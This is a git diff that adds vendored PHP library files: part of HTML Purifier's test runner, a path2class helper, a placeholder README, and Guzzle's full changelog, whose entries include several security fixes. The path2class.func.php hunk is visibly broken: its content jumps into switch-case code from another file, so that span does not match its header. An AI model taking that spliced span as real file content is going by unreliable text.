arbitrarily forcing flushes by wrapping the suspect + // version name in an array() + $flush_arg = ''; + if (is_array($version)) { + $version = $version[0]; + $flush_arg = '--flush'; + } + if ($AC['type'] !== 'phpt') { + $break = true; + switch ($AC['distro']) { + case '': + $break = false; + case 'normal': + $test->add( + new CliTestCase( + "$phpv $version index.php --xml $flush_arg $type_arg --disable-phpt $file_arg", + $AC['quiet'], $size + ) + ); + if ($break) break; + case 'standalone': + $test->add( + new CliTestCase( + "$phpv $version index.php --xml $flush_arg $type_arg --standalone --disable-phpt $file_arg", + $AC['quiet'], $size + ) + ); + if ($break) break; + } + } + if (!$AC['disable-phpt'] && (!$AC['type'] || $AC['type'] == 'phpt')) { + $test->add( + new CliTestCase( + $AC['php'] . " index.php --xml --php \"$phpv $version\" --type=phpt", + $AC['quiet'], $size + ) + ); + } +} + +// This is the HTML Purifier website's test XML file. We could +// add more websites, i.e. more configurations to test. +// $test->add(new RemoteTestCase('http://htmlpurifier.org/dev/tests/?xml=1', 'http://htmlpurifier.org/dev/tests/?xml=1&dry=1&flush=1')); + +$test->run($reporter); + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/path2class.func.php b/vendor/ezyang/htmlpurifier/tests/path2class.func.php new file mode 100644 index 00000000..bf3aa735 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/path2class.func.php @@ -0,0 +1,15 @@ +=')) { + // $test_dirs[] = 'ConfigDoc'; // no test files currently! + } + if ($break) break; + case 'fstools': + $test_dirs[] = 'FSTools'; + if ($break) break; + case 'htmlt': + $htmlt_dirs[] = 'HTMLPurifier/HTMLT'; + if ($break) break; + case 'vtest': + $vtest_dirs[] = 'HTMLPurifier/ConfigSchema/Validator'; + if ($break) break; + + case 'phpt': + if (!$AC['disable-phpt'] && version_compare(PHP_VERSION, '5.2', '>=')) { + $phpt_dirs[] = 'HTMLPurifier/PHPT'; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/tmp/README b/vendor/ezyang/htmlpurifier/tests/tmp/README new file mode 100644 index 00000000..2e35c1c3 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/tmp/README @@ -0,0 +1,3 @@ +This is a dummy file to prevent Git from ignoring this empty directory. + + vim: et sw=4 sts=4 diff --git a/vendor/guzzlehttp/guzzle/CHANGELOG.md b/vendor/guzzlehttp/guzzle/CHANGELOG.md new file mode 100644 index 00000000..b053017a --- /dev/null +++ b/vendor/guzzlehttp/guzzle/CHANGELOG.md @@ -0,0 +1,1352 @@ +# Change Log + +## 6.5.8 - 2022-06-20 + +* Fix change in port should be considered a change in origin +* Fix `CURLOPT_HTTPAUTH` option not cleared on change of origin + +## 6.5.7 - 2022-06-09 + +* Fix failure to strip Authorization header on HTTP downgrade +* Fix failure to strip the Cookie header on change in host or HTTP downgrade + +## 6.5.6 - 2022-05-25 + +* Fix cross-domain cookie leakage + +## 6.5.5 - 2020-06-16 + +* Unpin version constraint for `symfony/polyfill-intl-idn` [#2678](https://github.com/guzzle/guzzle/pull/2678) + +## 6.5.4 - 2020-05-25 + +* Fix various intl icu issues [#2626](https://github.com/guzzle/guzzle/pull/2626) + +## 6.5.3 - 2020-04-18 + +* Use Symfony intl-idn polyfill [#2550](https://github.com/guzzle/guzzle/pull/2550) +* Remove use of internal functions [#2548](https://github.com/guzzle/guzzle/pull/2548) + +## 6.5.2 - 2019-12-23 + +* idn_to_ascii() fix for old PHP versions [#2489](https://github.com/guzzle/guzzle/pull/2489) + +## 6.5.1 - 2019-12-21 + +* Better defaults for PHP installations with old ICU lib [#2454](https://github.com/guzzle/guzzle/pull/2454) +* IDN support for redirects [#2424](https://github.com/guzzle/guzzle/pull/2424) + +## 6.5.0 - 2019-12-07 + +* Improvement: Added support for reset internal queue in MockHandler. [#2143](https://github.com/guzzle/guzzle/pull/2143) +* Improvement: Added support to pass arbitrary options to `curl_multi_init`. [#2287](https://github.com/guzzle/guzzle/pull/2287) +* Fix: Gracefully handle passing `null` to the `header` option. [#2132](https://github.com/guzzle/guzzle/pull/2132) +* Fix: `RetryMiddleware` did not do exponential delay between retries due unit mismatch. [#2132](https://github.com/guzzle/guzzle/pull/2132) + Previously, `RetryMiddleware` would sleep for 1 millisecond, then 2 milliseconds, then 4 milliseconds. + **After this change, `RetryMiddleware` will sleep for 1 second, then 2 seconds, then 4 seconds.** + `Middleware::retry()` accepts a second callback parameter to override the default timeouts if needed. +* Fix: Prevent undefined offset when using array for ssl_key options. [#2348](https://github.com/guzzle/guzzle/pull/2348) +* Deprecated `ClientInterface::VERSION` + +## 6.4.1 - 2019-10-23 + +* No `guzzle.phar` was created in 6.4.0 due expired API token. This release will fix that +* Added `parent::__construct()` to `FileCookieJar` and `SessionCookieJar` + +## 6.4.0 - 2019-10-23 + +* Improvement: Improved error messages when using curl < 7.21.2 [#2108](https://github.com/guzzle/guzzle/pull/2108) +* Fix: Test if response is readable before returning a summary in `RequestException::getResponseBodySummary()` [#2081](https://github.com/guzzle/guzzle/pull/2081) +* Fix: Add support for GUZZLE_CURL_SELECT_TIMEOUT environment variable [#2161](https://github.com/guzzle/guzzle/pull/2161) +* Improvement: Added `GuzzleHttp\Exception\InvalidArgumentException` [#2163](https://github.com/guzzle/guzzle/pull/2163) +* Improvement: Added `GuzzleHttp\_current_time()` to use `hrtime()` if that function exists. [#2242](https://github.com/guzzle/guzzle/pull/2242) +* Improvement: Added curl's `appconnect_time` in `TransferStats` [#2284](https://github.com/guzzle/guzzle/pull/2284) +* Improvement: Make GuzzleException extend Throwable wherever it's available [#2273](https://github.com/guzzle/guzzle/pull/2273) +* Fix: Prevent concurrent writes to file when saving `CookieJar` [#2335](https://github.com/guzzle/guzzle/pull/2335) +* Improvement: Update `MockHandler` so we can test transfer time [#2362](https://github.com/guzzle/guzzle/pull/2362) + +## 6.3.3 - 2018-04-22 + +* Fix: Default headers when decode_content is specified + + +## 6.3.2 - 2018-03-26 + +* Fix: Release process + + +## 6.3.1 - 2018-03-26 + +* Bug fix: Parsing 0 epoch expiry times in cookies [#2014](https://github.com/guzzle/guzzle/pull/2014) +* Improvement: Better ConnectException detection [#2012](https://github.com/guzzle/guzzle/pull/2012) +* Bug fix: Malformed domain that contains a "/" [#1999](https://github.com/guzzle/guzzle/pull/1999) +* Bug fix: Undefined offset when a cookie has no first key-value pair [#1998](https://github.com/guzzle/guzzle/pull/1998) +* Improvement: Support PHPUnit 6 [#1953](https://github.com/guzzle/guzzle/pull/1953) +* Bug fix: Support empty headers [#1915](https://github.com/guzzle/guzzle/pull/1915) +* Bug fix: Ignore case during header modifications [#1916](https://github.com/guzzle/guzzle/pull/1916) + ++ Minor code cleanups, documentation fixes and clarifications. + + +## 6.3.0 - 2017-06-22 + +* Feature: force IP resolution (ipv4 or ipv6) [#1608](https://github.com/guzzle/guzzle/pull/1608), [#1659](https://github.com/guzzle/guzzle/pull/1659) +* Improvement: Don't include summary in exception message when body is empty [#1621](https://github.com/guzzle/guzzle/pull/1621) +* Improvement: Handle `on_headers` option in MockHandler [#1580](https://github.com/guzzle/guzzle/pull/1580) +* Improvement: Added SUSE Linux CA path [#1609](https://github.com/guzzle/guzzle/issues/1609) +* Improvement: Use class reference for getting the name of the class instead of using hardcoded strings [#1641](https://github.com/guzzle/guzzle/pull/1641) +* Feature: Added `read_timeout` option [#1611](https://github.com/guzzle/guzzle/pull/1611) +* Bug fix: PHP 7.x fixes [#1685](https://github.com/guzzle/guzzle/pull/1685), [#1686](https://github.com/guzzle/guzzle/pull/1686), [#1811](https://github.com/guzzle/guzzle/pull/1811) +* Deprecation: BadResponseException instantiation without a response [#1642](https://github.com/guzzle/guzzle/pull/1642) +* Feature: Added NTLM auth [#1569](https://github.com/guzzle/guzzle/pull/1569) +* Feature: Track redirect HTTP status codes [#1711](https://github.com/guzzle/guzzle/pull/1711) +* Improvement: Check handler type during construction [#1745](https://github.com/guzzle/guzzle/pull/1745) +* Improvement: Always include the Content-Length if there's a body [#1721](https://github.com/guzzle/guzzle/pull/1721) +* Feature: Added convenience method to access a cookie by name [#1318](https://github.com/guzzle/guzzle/pull/1318) +* Bug fix: Fill `CURLOPT_CAPATH` and `CURLOPT_CAINFO` properly [#1684](https://github.com/guzzle/guzzle/pull/1684) +* Improvement: Use `\GuzzleHttp\Promise\rejection_for` function instead of object init [#1827](https://github.com/guzzle/guzzle/pull/1827) + + ++ Minor code cleanups, documentation fixes and clarifications. + +## 6.2.3 - 2017-02-28 + +* Fix deprecations with guzzle/psr7 version 1.4 + +## 6.2.2 - 2016-10-08 + +* Allow to pass nullable Response to delay callable +* Only add scheme when host is present +* Fix drain case where content-length is the literal string zero +* Obfuscate in-URL credentials in exceptions + +## 6.2.1 - 2016-07-18 + +* Address HTTP_PROXY security vulnerability, CVE-2016-5385: + https://httpoxy.org/ +* Fixing timeout bug with StreamHandler: + https://github.com/guzzle/guzzle/pull/1488 +* Only read up to `Content-Length` in PHP StreamHandler to avoid timeouts when + a server does not honor `Connection: close`. +* Ignore URI fragment when sending requests. + +## 6.2.0 - 2016-03-21 + +* Feature: added `GuzzleHttp\json_encode` and `GuzzleHttp\json_decode`. + https://github.com/guzzle/guzzle/pull/1389 +* Bug fix: Fix sleep calculation when waiting for delayed requests. + https://github.com/guzzle/guzzle/pull/1324 +* Feature: More flexible history containers. + https://github.com/guzzle/guzzle/pull/1373 +* Bug fix: defer sink stream opening in StreamHandler. + https://github.com/guzzle/guzzle/pull/1377 +* Bug fix: do not attempt to escape cookie values. + https://github.com/guzzle/guzzle/pull/1406 +* Feature: report original content encoding and length on decoded responses. + https://github.com/guzzle/guzzle/pull/1409 +* Bug fix: rewind seekable request bodies before dispatching to cURL. + https://github.com/guzzle/guzzle/pull/1422 +* Bug fix: provide an empty string to `http_build_query` for HHVM workaround. + https://github.com/guzzle/guzzle/pull/1367 + +## 6.1.1 - 2015-11-22 + +* Bug fix: Proxy::wrapSync() now correctly proxies to the appropriate handler + https://github.com/guzzle/guzzle/commit/911bcbc8b434adce64e223a6d1d14e9a8f63e4e4 +* Feature: HandlerStack is now more generic. + https://github.com/guzzle/guzzle/commit/f2102941331cda544745eedd97fc8fd46e1ee33e +* Bug fix: setting verify to false in the StreamHandler now disables peer + verification. https://github.com/guzzle/guzzle/issues/1256 +* Feature: Middleware now uses an exception factory, including more error + context. https://github.com/guzzle/guzzle/pull/1282 +* Feature: better support for disabled functions. + https://github.com/guzzle/guzzle/pull/1287 +* Bug fix: fixed regression where MockHandler was not using `sink`. + https://github.com/guzzle/guzzle/pull/1292 + +## 6.1.0 - 2015-09-08 + +* Feature: Added the `on_stats` request option to provide access to transfer + statistics for requests. https://github.com/guzzle/guzzle/pull/1202 +* Feature: Added the ability to persist session cookies in CookieJars. + https://github.com/guzzle/guzzle/pull/1195 +* Feature: Some compatibility updates for Google APP Engine + https://github.com/guzzle/guzzle/pull/1216 +* Feature: Added support for NO_PROXY to prevent the use of a proxy based on + a simple set of rules. https://github.com/guzzle/guzzle/pull/1197 +* Feature: Cookies can now contain square brackets. + https://github.com/guzzle/guzzle/pull/1237 +* Bug fix: Now correctly parsing `=` inside of quotes in Cookies. + https://github.com/guzzle/guzzle/pull/1232 +* Bug fix: Cusotm cURL options now correctly override curl options of the + same name. https://github.com/guzzle/guzzle/pull/1221 +* Bug fix: Content-Type header is now added when using an explicitly provided + multipart body. https://github.com/guzzle/guzzle/pull/1218 +* Bug fix: Now ignoring Set-Cookie headers that have no name. +* Bug fix: Reason phrase is no longer cast to an int in some cases in the + cURL handler. https://github.com/guzzle/guzzle/pull/1187 +* Bug fix: Remove the Authorization header when redirecting if the Host + header changes. https://github.com/guzzle/guzzle/pull/1207 +* Bug fix: Cookie path matching fixes + https://github.com/guzzle/guzzle/issues/1129 +* Bug fix: Fixing the cURL `body_as_string` setting + https://github.com/guzzle/guzzle/pull/1201 +* Bug fix: quotes are no longer stripped when parsing cookies. + https://github.com/guzzle/guzzle/issues/1172 +* Bug fix: `form_params` and `query` now always uses the `&` separator. + https://github.com/guzzle/guzzle/pull/1163 +* Bug fix: Adding a Content-Length to PHP stream wrapper requests if not set. + https://github.com/guzzle/guzzle/pull/1189 + +## 6.0.2 - 2015-07-04 + +* Fixed a memory leak in the curl handlers in which references to callbacks + were not being removed by `curl_reset`. +* Cookies are now extracted properly before redirects. +* Cookies now allow more character ranges. +* Decoded Content-Encoding responses are now modified to correctly reflect + their state if the encoding was automatically removed by a handler. This + means that the `Content-Encoding` header may be removed an the + `Content-Length` modified to reflect the message size after removing the + encoding. +* Added a more explicit error message when trying to use `form_params` and + `multipart` in the same request. +* Several fixes for HHVM support. +* Functions are now conditionally required using an additional level of + indirection to help with global Composer installations. + +## 6.0.1 - 2015-05-27 + +* Fixed a bug with serializing the `query` request option where the `&` + separator was missing. +* Added a better error message for when `body` is provided as an array. Please + use `form_params` or `multipart` instead. +* Various doc fixes. + +## 6.0.0 - 2015-05-26 + +* See the UPGRADING.md document for more information. +* Added `multipart` and `form_params` request options. +* Added `synchronous` request option. +* Added the `on_headers` request option. +* Fixed `expect` handling. +* No longer adding default middlewares in the client ctor. These need to be + present on the provided handler in order to work. +* Requests are no longer initiated when sending async requests with the + CurlMultiHandler. This prevents unexpected recursion from requests completing + while ticking the cURL loop. +* Removed the semantics of setting `default` to `true`. This is no longer + required now that the cURL loop is not ticked for async requests. +* Added request and response logging middleware. +* No longer allowing self signed certificates when using the StreamHandler. +* Ensuring that `sink` is valid if saving to a file. +* Request exceptions now include a "handler context" which provides handler + specific contextual information. +* Added `GuzzleHttp\RequestOptions` to allow request options to be applied + using constants. +* `$maxHandles` has been removed from CurlMultiHandler. +* `MultipartPostBody` is now part of the `guzzlehttp/psr7` package. + +## 5.3.0 - 2015-05-19 + +* Mock now supports `save_to` +* Marked `AbstractRequestEvent::getTransaction()` as public. +* Fixed a bug in which multiple headers using different casing would overwrite + previous headers in the associative array. +* Added `Utils::getDefaultHandler()` +* Marked `GuzzleHttp\Client::getDefaultUserAgent` as deprecated. +* URL scheme is now always lowercased. + +## 6.0.0-beta.1 + +* Requires PHP >= 5.5 +* Updated to use PSR-7 + * Requires immutable messages, which basically means an event based system + owned by a request instance is no longer possible. + * Utilizing the [Guzzle PSR-7 package](https://github.com/guzzle/psr7). + * Removed the dependency on `guzzlehttp/streams`. These stream abstractions + are available in the `guzzlehttp/psr7` package under the `GuzzleHttp\Psr7` + namespace. +* Added middleware and handler system + * Replaced the Guzzle event and subscriber system with a middleware system. + * No longer depends on RingPHP, but rather places the HTTP handlers directly + in Guzzle, operating on PSR-7 messages. + * Retry logic is now encapsulated in `GuzzleHttp\Middleware::retry`, which + means the `guzzlehttp/retry-subscriber` is now obsolete. + * Mocking responses is now handled using `GuzzleHttp\Handler\MockHandler`. +* Asynchronous responses + * No longer supports the `future` request option to send an async request. + Instead, use one of the `*Async` methods of a client (e.g., `requestAsync`, + `getAsync`, etc.). + * Utilizing `GuzzleHttp\Promise` instead of React's promise library to avoid + recursion required by chaining and forwarding react promises. See + https://github.com/guzzle/promises + * Added `requestAsync` and `sendAsync` to send request asynchronously. + * Added magic methods for `getAsync()`, `postAsync()`, etc. to send requests + asynchronously. +* Request options + * POST and form updates + * Added the `form_fields` and `form_files` request options. + * Removed the `GuzzleHttp\Post` namespace. + * The `body` request option no longer accepts an array for POST requests. + * The `exceptions` request option has been deprecated in favor of the + `http_errors` request options. + * The `save_to` request option has been deprecated in favor of `sink` request + option. +* Clients no longer accept an array of URI template string and variables for + URI variables. You will need to expand URI templates before passing them + into a client constructor or request method. +* Client methods `get()`, `post()`, `put()`, `patch()`, `options()`, etc. are + now magic methods that will send synchronous requests. +* Replaced `Utils.php` with plain functions in `functions.php`. +* Removed `GuzzleHttp\Collection`. +* Removed `GuzzleHttp\BatchResults`. Batched pool results are now returned as + an array. +* Removed `GuzzleHttp\Query`. Query string handling is now handled using an + associative array passed into the `query` request option. The query string + is serialized using PHP's `http_build_query`. If you need more control, you + can pass the query string in as a string. +* `GuzzleHttp\QueryParser` has been replaced with the + `GuzzleHttp\Psr7\parse_query`. + +## 5.2.0 - 2015-01-27 + +* Added `AppliesHeadersInterface` to make applying headers to a request based + on the body more generic and not specific to `PostBodyInterface`. +* Reduced the number of stack frames needed to send requests. +* Nested futures are now resolved in the client rather than the RequestFsm +* Finishing state transitions is now handled in the RequestFsm rather than the + RingBridge. +* Added a guard in the Pool class to not use recursion for request retries. + +## 5.1.0 - 2014-12-19 + +* Pool class no longer uses recursion when a request is intercepted. +* The size of a Pool can now be dynamically adjusted using a callback. + See https://github.com/guzzle/guzzle/pull/943. +* Setting a request option to `null` when creating a request with a client will + ensure that the option is not set. This allows you to overwrite default + request options on a per-request basis. + See https://github.com/guzzle/guzzle/pull/937. +* Added the ability to limit which protocols are allowed for redirects by + specifying a `protocols` array in the `allow_redirects` request option. +* Nested futures due to retries are now resolved when waiting for synchronous + responses. See https://github.com/guzzle/guzzle/pull/947. +* `"0"` is now an allowed URI path. See + https://github.com/guzzle/guzzle/pull/935. +* `Query` no longer typehints on the `$query` argument in the constructor, + allowing for strings and arrays. +* Exceptions thrown in the `end` event are now correctly wrapped with Guzzle + specific exceptions if necessary. + +## 5.0.3 - 2014-11-03 + +This change updates query strings so that they are treated as un-encoded values +by default where the value represents an un-encoded value to send over the +wire. A Query object then encodes the value before sending over the wire. This +means that even value query string values (e.g., ":") are url encoded. This +makes the Query class match PHP's http_build_query function. However, if you +want to send requests over the wire using valid query string characters that do +not need to be encoded, then you can provide a string to Url::setQuery() and +pass true as the second argument to specify that the query string is a raw +string that should not be parsed or encoded (unless a call to getQuery() is +subsequently made, forcing the query-string to be converted into a Query +object). + +## 5.0.2 - 2014-10-30 + +* Added a trailing `\r\n` to multipart/form-data payloads. See + https://github.com/guzzle/guzzle/pull/871 +* Added a `GuzzleHttp\Pool::send()` convenience method to match the docs. +* Status codes are now returned as integers. See + https://github.com/guzzle/guzzle/issues/881 +* No longer overwriting an existing `application/x-www-form-urlencoded` header + when sending POST requests, allowing for customized headers. See + https://github.com/guzzle/guzzle/issues/877 +* Improved path URL serialization. + + * No longer double percent-encoding characters in the path or query string if + they are already encoded. + * Now properly encoding the supplied path to a URL object, instead of only + encoding ' ' and '?'. + * Note: This has been changed in 5.0.3 to now encode query string values by + default unless the `rawString` argument is provided when setting the query + string on a URL: Now allowing many more characters to be present in the + query string without being percent encoded. See http://tools.ietf.org/html/rfc3986#appendix-A + +## 5.0.1 - 2014-10-16 + +Bugfix release. + +* Fixed an issue where connection errors still returned response object in + error and end events event though the response is unusable. This has been + corrected so that a response is not returned in the `getResponse` method of + these events if the response did not complete. https://github.com/guzzle/guzzle/issues/867 +* Fixed an issue where transfer statistics were not being populated in the + RingBridge. https://github.com/guzzle/guzzle/issues/866 + +## 5.0.0 - 2014-10-12 + +Adding support for non-blocking responses and some minor API cleanup. + +### New Features + +* Added support for non-blocking responses based on `guzzlehttp/guzzle-ring`. +* Added a public API for creating a default HTTP adapter. +* Updated the redirect plugin to be non-blocking so that redirects are sent + concurrently. Other plugins like this can now be updated to be non-blocking. +* Added a "progress" event so that you can get upload and download progress + events. +* Added `GuzzleHttp\Pool` which implements FutureInterface and transfers + requests concurrently using a capped pool size as efficiently as possible. +* Added `hasListeners()` to EmitterInterface. +* Removed `GuzzleHttp\ClientInterface::sendAll` and marked + `GuzzleHttp\Client::sendAll` as deprecated (it's still there, just not the + recommended way). + +### Breaking changes + +The breaking changes in this release are relatively minor. The biggest thing to +look out for is that request and response objects no longer implement fluent +interfaces. + +* Removed the fluent interfaces (i.e., `return $this`) from requests, + responses, `GuzzleHttp\Collection`, `GuzzleHttp\Url`, + `GuzzleHttp\Query`, `GuzzleHttp\Post\PostBody`, and + `GuzzleHttp\Cookie\SetCookie`. This blog post provides a good outline of + why I did this: http://ocramius.github.io/blog/fluent-interfaces-are-evil/. + This also makes the Guzzle message interfaces compatible with the current + PSR-7 message proposal. +* Removed "functions.php", so that Guzzle is truly PSR-4 compliant. Except + for the HTTP request functions from function.php, these functions are now + implemented in `GuzzleHttp\Utils` using camelCase. `GuzzleHttp\json_decode` + moved to `GuzzleHttp\Utils::jsonDecode`. `GuzzleHttp\get_path` moved to + `GuzzleHttp\Utils::getPath`. `GuzzleHttp\set_path` moved to + `GuzzleHttp\Utils::setPath`. `GuzzleHttp\batch` should now be + `GuzzleHttp\Pool::batch`, which returns an `objectStorage`. Using functions.php + caused problems for many users: they aren't PSR-4 compliant, require an + explicit include, and needed an if-guard to ensure that the functions are not + declared multiple times. +* Rewrote adapter layer. + * Removing all classes from `GuzzleHttp\Adapter`, these are now + implemented as callables that are stored in `GuzzleHttp\Ring\Client`. + * Removed the concept of "parallel adapters". Sending requests serially or + concurrently is now handled using a single adapter. + * Moved `GuzzleHttp\Adapter\Transaction` to `GuzzleHttp\Transaction`. The + Transaction object now exposes the request, response, and client as public + properties. The getters and setters have been removed. +* Removed the "headers" event. This event was only useful for changing the + body a response once the headers of the response were known. You can implement + a similar behavior in a number of ways. One example might be to use a + FnStream that has access to the transaction being sent. For example, when the + first byte is written, you could check if the response headers match your + expectations, and if so, change the actual stream body that is being + written to. +* Removed the `asArray` parameter from + `GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header + value as an array, then use the newly added `getHeaderAsArray()` method of + `MessageInterface`. This change makes the Guzzle interfaces compatible with + the PSR-7 interfaces. +* `GuzzleHttp\Message\MessageFactory` no longer allows subclasses to add + custom request options using double-dispatch (this was an implementation + detail). Instead, you should now provide an associative array to the + constructor which is a mapping of the request option name mapping to a + function that applies the option value to a request. +* Removed the concept of "throwImmediately" from exceptions and error events. + This control mechanism was used to stop a transfer of concurrent requests + from completing. This can now be handled by throwing the exception or by + cancelling a pool of requests or each outstanding future request individually. +* Updated to "GuzzleHttp\Streams" 3.0. + * `GuzzleHttp\Stream\StreamInterface::getContents()` no longer accepts a + `maxLen` parameter. This update makes the Guzzle streams project + compatible with the current PSR-7 proposal. + * `GuzzleHttp\Stream\Stream::__construct`, + `GuzzleHttp\Stream\Stream::factory`, and + `GuzzleHttp\Stream\Utils::create` no longer accept a size in the second + argument. They now accept an associative array of options, including the + "size" key and "metadata" key which can be used to provide custom metadata. + +## 4.2.2 - 2014-09-08 + +* Fixed a memory leak in the CurlAdapter when reusing cURL handles. +* No longer using `request_fulluri` in stream adapter proxies. +* Relative redirects are now based on the last response, not the first response. + +## 4.2.1 - 2014-08-19 + +* Ensuring that the StreamAdapter does not always add a Content-Type header +* Adding automated github releases with a phar and zip + +## 4.2.0 - 2014-08-17 + +* Now merging in default options using a case-insensitive comparison. + Closes https://github.com/guzzle/guzzle/issues/767 +* Added the ability to automatically decode `Content-Encoding` response bodies + using the `decode_content` request option. This is set to `true` by default + to decode the response body if it comes over the wire with a + `Content-Encoding`. Set this value to `false` to disable decoding the + response content, and pass a string to provide a request `Accept-Encoding` + header and turn on automatic response decoding. This feature now allows you + to pass an `Accept-Encoding` header in the headers of a request but still + disable automatic response decoding. + Closes https://github.com/guzzle/guzzle/issues/764 +* Added the ability to throw an exception immediately when transferring + requests in parallel. Closes https://github.com/guzzle/guzzle/issues/760 +* Updating guzzlehttp/streams dependency to ~2.1 +* No longer utilizing the now deprecated namespaced methods from the stream + package. + +## 4.1.8 - 2014-08-14 + +* Fixed an issue in the CurlFactory that caused setting the `stream=false` + request option to throw an exception. + See: https://github.com/guzzle/guzzle/issues/769 +* TransactionIterator now calls rewind on the inner iterator. + See: https://github.com/guzzle/guzzle/pull/765 +* You can now set the `Content-Type` header to `multipart/form-data` + when creating POST requests to force multipart bodies. + See https://github.com/guzzle/guzzle/issues/768 + +## 4.1.7 - 2014-08-07 + +* Fixed an error in the HistoryPlugin that caused the same request and response + to be logged multiple times when an HTTP protocol error occurs. +* Ensuring that cURL does not add a default Content-Type when no Content-Type + has been supplied by the user. This prevents the adapter layer from modifying + the request that is sent over the wire after any listeners may have already + put the request in a desired state (e.g., signed the request). +* Throwing an exception when you attempt to send requests that have the + "stream" set to true in parallel using the MultiAdapter. +* Only calling curl_multi_select when there are active cURL handles. This was + previously changed and caused performance problems on some systems due to PHP + always selecting until the maximum select timeout. +* Fixed a bug where multipart/form-data POST fields were not correctly + aggregated (e.g., values with "&"). + +## 4.1.6 - 2014-08-03 + +* Added helper methods to make it easier to represent messages as strings, + including getting the start line and getting headers as a string. + +## 4.1.5 - 2014-08-02 + +* Automatically retrying cURL "Connection died, retrying a fresh connect" + errors when possible. +* cURL implementation cleanup +* Allowing multiple event subscriber listeners to be registered per event by + passing an array of arrays of listener configuration. + +## 4.1.4 - 2014-07-22 + +* Fixed a bug that caused multi-part POST requests with more than one field to + serialize incorrectly. +* Paths can now be set to "0" +* `ResponseInterface::xml` now accepts a `libxml_options` option and added a + missing default argument that was required when parsing XML response bodies. +* A `save_to` stream is now created lazily, which means that files are not + created on disk unless a request succeeds. + +## 4.1.3 - 2014-07-15 + +* Various fixes to multipart/form-data POST uploads +* Wrapping function.php in an if-statement to ensure Guzzle can be used + globally and in a Composer install +* Fixed an issue with generating and merging in events to an event array +* POST headers are only applied before sending a request to allow you to change + the query aggregator used before uploading +* Added much more robust query string parsing +* Fixed various parsing and normalization issues with URLs +* Fixing an issue where multi-valued headers were not being utilized correctly + in the StreamAdapter + +## 4.1.2 - 2014-06-18 + +* Added support for sending payloads with GET requests + +## 4.1.1 - 2014-06-08 + +* Fixed an issue related to using custom message factory options in subclasses +* Fixed an issue with nested form fields in a multi-part POST +* Fixed an issue with using the `json` request option for POST requests +* Added `ToArrayInterface` to `GuzzleHttp\Cookie\CookieJar` + +## 4.1.0 - 2014-05-27 + +* Added a `json` request option to easily serialize JSON payloads. +* Added a `GuzzleHttp\json_decode()` wrapper to safely parse JSON. +* Added `setPort()` and `getPort()` to `GuzzleHttp\Message\RequestInterface`. +* Added the ability to provide an emitter to a client in the client constructor. +* Added the ability to persist a cookie session using $_SESSION. +* Added a trait that can be used to add event listeners to an iterator. +* Removed request method constants from RequestInterface. +* Fixed warning when invalid request start-lines are received. +* Updated MessageFactory to work with custom request option methods. +* Updated cacert bundle to latest build. + +4.0.2 (2014-04-16) +------------------ + +* Proxy requests using the StreamAdapter now properly use request_fulluri (#632) +* Added the ability to set scalars as POST fields (#628) + +## 4.0.1 - 2014-04-04 + +* The HTTP status code of a response is now set as the exception code of + RequestException objects. +* 303 redirects will now correctly switch from POST to GET requests. +* The default parallel adapter of a client now correctly uses the MultiAdapter. +* HasDataTrait now initializes the internal data array as an empty array so + that the toArray() method always returns an array. + +## 4.0.0 - 2014-03-29 + +* For more information on the 4.0 transition, see: + http://mtdowling.com/blog/2014/03/15/guzzle-4-rc/ +* For information on changes and upgrading, see: + https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40 +* Added `GuzzleHttp\batch()` as a convenience function for sending requests in + parallel without needing to write asynchronous code. +* Restructured how events are added to `GuzzleHttp\ClientInterface::sendAll()`. + You can now pass a callable or an array of associative arrays where each + associative array contains the "fn", "priority", and "once" keys. + +## 4.0.0.rc-2 - 2014-03-25 + +* Removed `getConfig()` and `setConfig()` from clients to avoid confusion + around whether things like base_url, message_factory, etc. should be able to + be retrieved or modified. +* Added `getDefaultOption()` and `setDefaultOption()` to ClientInterface +* functions.php functions were renamed using snake_case to match PHP idioms +* Added support for `HTTP_PROXY`, `HTTPS_PROXY`, and + `GUZZLE_CURL_SELECT_TIMEOUT` environment variables +* Added the ability to specify custom `sendAll()` event priorities +* Added the ability to specify custom stream context options to the stream + adapter. +* Added a functions.php function for `get_path()` and `set_path()` +* CurlAdapter and MultiAdapter now use a callable to generate curl resources +* MockAdapter now properly reads a body and emits a `headers` event +* Updated Url class to check if a scheme and host are set before adding ":" + and "//". This allows empty Url (e.g., "") to be serialized as "". +* Parsing invalid XML no longer emits warnings +* Curl classes now properly throw AdapterExceptions +* Various performance optimizations +* Streams are created with the faster `Stream\create()` function +* Marked deprecation_proxy() as internal +* Test server is now a collection of static methods on a class + +## 4.0.0-rc.1 - 2014-03-15 + +* See https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40 + +## 3.8.1 - 2014-01-28 + +* Bug: Always using GET requests when redirecting from a 303 response +* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in + `Guzzle\Http\ClientInterface::setSslVerification()` +* Bug: RedirectPlugin now uses strict RFC 3986 compliance when combining a base URL with a relative URL +* Bug: The body of a request can now be set to `"0"` +* Sending PHP stream requests no longer forces `HTTP/1.0` +* Adding more information to ExceptionCollection exceptions so that users have more context, including a stack trace of + each sub-exception +* Updated the `$ref` attribute in service descriptions to merge over any existing parameters of a schema (rather than + clobbering everything). +* Merging URLs will now use the query string object from the relative URL (thus allowing custom query aggregators) +* Query strings are now parsed in a way that they do no convert empty keys with no value to have a dangling `=`. + For example `foo&bar=baz` is now correctly parsed and recognized as `foo&bar=baz` rather than `foo=&bar=baz`. +* Now properly escaping the regular expression delimiter when matching Cookie domains. +* Network access is now disabled when loading XML documents + +## 3.8.0 - 2013-12-05 + +* Added the ability to define a POST name for a file +* JSON response parsing now properly walks additionalProperties +* cURL error code 18 is now retried automatically in the BackoffPlugin +* Fixed a cURL error when URLs contain fragments +* Fixed an issue in the BackoffPlugin retry event where it was trying to access all exceptions as if they were + CurlExceptions +* CURLOPT_PROGRESS function fix for PHP 5.5 (69fcc1e) +* Added the ability for Guzzle to work with older versions of cURL that do not support `CURLOPT_TIMEOUT_MS` +* Fixed a bug that was encountered when parsing empty header parameters +* UriTemplate now has a `setRegex()` method to match the docs +* The `debug` request parameter now checks if it is truthy rather than if it exists +* Setting the `debug` request parameter to true shows verbose cURL output instead of using the LogPlugin 